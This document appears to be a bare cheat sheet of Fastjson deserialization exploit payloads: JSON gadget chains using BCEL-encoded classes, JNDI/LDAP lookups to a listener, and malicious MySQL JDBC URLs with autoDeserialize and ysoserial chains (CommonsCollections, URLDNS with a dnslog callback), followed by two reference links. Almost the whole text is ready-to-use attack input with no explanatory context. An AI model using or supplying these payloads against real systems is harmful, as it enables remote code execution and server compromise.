{ "@type": "org.jboss.util.loading.ContextClassLoaderSwitcher", "contextClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "a": { "@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A" } } OracleManagedConnectionFactory
{ "@type": "oracle.jdbc.connector.OracleManagedConnectionFactory", "xaDataSourceName": "ldap://127.0.0.1:23457/Command8" } JNDIConfiguration
{ "@type": "org.apache.commons.configuration.JNDIConfiguration", "prefix": "ldap://127.0.0.1:23457/Command8" } JDBC4Connection
{ "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "172.20.64.40", "portToConnectTo": 3306, "url": "jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "databaseToConnectTo": "test", "info": { "@type": "java.util.Properties", "PORT": "3306", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "user": "yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn", "PORT.1": "3306", "HOST.1": "172.20.64.40", "NUM_HOSTS": "1", "HOST": "172.20.64.40", "DBNAME": "test" } } LoadBalancedMySQLConnection
{ "@type": "java.lang.AutoCloseable", "@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString": { "url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true" } } } UnpooledDataSource
{ "x": { { "@type": "com.alibaba.fastjson.JSONObject", "name": { "@type": "java.lang.Class", "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource" }, "c": { "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "key": { "@type": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driver": "$$BCEL$$$l$8b$..." } }: "a" } } LoadBalancedMySQLConnection2
{ "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection", "proxy": { "connectionString":{ "url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&useSSL=false&user=yso_CommonsCollections5_calc" } } }} ReplicationMySQLConnection
{ "@type":"java.lang.AutoCloseable", "@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection", "proxy": { "@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy", "connectionUrl":{ "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters":[{ "host":"" }], "slaves":[], "properties":{ "host":"127.0.0.1", "port":"3306", "user":"yso_CommonsCollections4_calc", "dbname":"dbname", "password":"pass", "queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize":"true" } } } }
|
参考
https://tttang.com/archive/1579/
https://su18.org/post/fastjson/#7-fastjson-1247